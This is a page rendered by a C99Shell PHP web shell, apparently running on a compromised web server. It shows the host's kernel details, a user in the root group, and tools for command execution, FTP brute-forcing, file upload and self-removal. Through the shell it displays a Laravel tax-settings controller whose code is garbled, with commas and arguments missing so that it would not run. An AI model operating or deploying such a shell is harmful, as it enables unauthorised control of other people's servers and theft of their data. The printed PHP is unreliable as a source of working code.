!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Tax/Http/Controllers/   drwxr-xr-x
Free 26.31 GB of 117.98 GB (22.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TaxClassController.php (3.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package TaxClassController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 27-07-2022
 */

namespace Modules\Tax\Http\Controllers;

use 
Illuminate\Support\Collection;
use 
Illuminate\Http\Request;

use 
Modules\GeoLocale\Repositories\CountryRepository;
use 
App\Models\Preference;
use 
App\Http\Controllers\Controller;

use 
Modules\Tax\Entities\{
    
TaxClassTaxRate
};
use 
Modules\Tax\Http\Requests\{
    
TaxClassStoreRequestTaxClassUpdateRequest
};

class 
TaxClassController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @param Request $request
     * @return \Illuminate\View\View
     */
    
public function index(Request $request)
    {
        
$data['countries'] = Collection::make((new CountryRepository)->index($request))->SortBy('name');

        
$data['tax_rates'] = TaxRate::where('tax_class_id'1)->orderByRaw("priority ASC, tax_rate DESC")->get();
        
$data['tax_classes'] = TaxClass::with(['taxRates' => function($q) {
            
$q->orderByRaw("priority ASC, tax_rate DESC");
        }])->
where('slug''!=''standard')->get()->sortBy('taxRates.priority');
        
        
$data['setting'] = Preference::getAll()->where('category''tax_setting')->pluck('value''field')->toArray();
        return 
view('tax::index'$data);
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param TaxClassStoreRequest $request
     * @return [type]
     */
    
public function store(TaxClassStoreRequest $request)
    {
        return (new 
TaxClass())->store($request->validated());
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param TaxClassUpdateRequest $request
     * @return [type]
     */
    
public function update(TaxClassUpdateRequest $request)
    {
        return (new 
TaxClass)->updateData($request->validated(), request()->id);
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param mixed $id
     * @return [type]
     */
    
public function destroy($id)
    {
        return (new 
TaxClass)->remove($id);
    }

    
/**
     * Store or update preference setting
     *
     * @param Request $request
     * @return json $response
     */
    
public function setting(Request $request)
    {
        
$response $this->messageArray(__('Invalid Request'), 'fail');
        
$category 'tax_setting';
        
$request['rounding'] = isset($request->rounding) ? 0;
        
$i 0;
        foreach (
$request->only(['calculate_tax''shipping_tax_class''rounding''display_price_in_shop''display_tax_totals']) as $key => $value) {
            
$data[$i]['category'] = $category;
            
$data[$i]['field']    = $key;
            
$data[$i]['value'] = $value;
            
$i++;
        }
        foreach (
$data as $key => $value) {
            if ((new 
Preference())->storeOrUpdate($value)) {
                
$response $this->messageArray(__('The :x has been successfully saved.', ['x' => __('Tax setting')]), 'success');
            }
        }

        return 
$response;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--